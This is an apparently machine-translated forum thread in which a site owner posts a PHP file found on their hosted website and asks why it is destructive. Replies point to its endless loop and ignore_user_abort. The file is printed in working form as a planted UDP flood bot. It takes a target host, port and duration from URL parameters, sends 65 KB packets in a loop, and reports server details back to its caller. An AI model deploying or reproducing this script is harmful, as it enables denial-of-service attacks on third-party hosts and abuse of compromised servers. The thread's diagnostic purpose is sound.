Why is this file destructive to the website?

Why is this file destructive to the website? PHPcode & lt ;? Phpset_time_limit (999999); $ host $ _ GET [host]; $ port $ _ GET [port]; $ exec_time $ _ GET [time]; $ Sendlen65535; $ packets0; ignore_user_abort (T. can you tell me why this file is destructive to the website?

PHP code

  
  0){                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];                exit;            }        echo "Warning to: opening";        exit;    }for($i=0;$i<$Sendlen;$i++){        $out .= "A";    }$max_time = time()+$exec_time;while(1){    $packets++;    if(time() > $max_time){        break;    }    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);        if($fp){            fwrite($fp, $out);            fclose($fp);    }}echo "Send Host：$host:$port

";echo "Send Flow：$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb

";echo "Send Rate：" . round($packets/$exec_time, 2) . " packs/s；" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";?> 

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The target server's network is constantly sending spam packets. Is this a mine?
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I don't know what the landlord wants to do!
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Where did you get this code? How can this problem be solved? What was found on the server?
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Endless loop
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Ignore_user_abort (True) plus an endless loop without rest
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Discussion

Ignore_user_abort (True) plus an endless loop without rest

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Discussion

This is a website that I have hosted in a common company in Guangzhou. the buddies of that company have a holiday with the company and they have emotions at work.

I don't think such a person is a code-writing guy with no character or professional ethics!

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Ignore_user_abort (True); this is good!
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Why not delete all programs and tables?
So many direct,

In the past, php server resources were consumed,
Knowledge, good,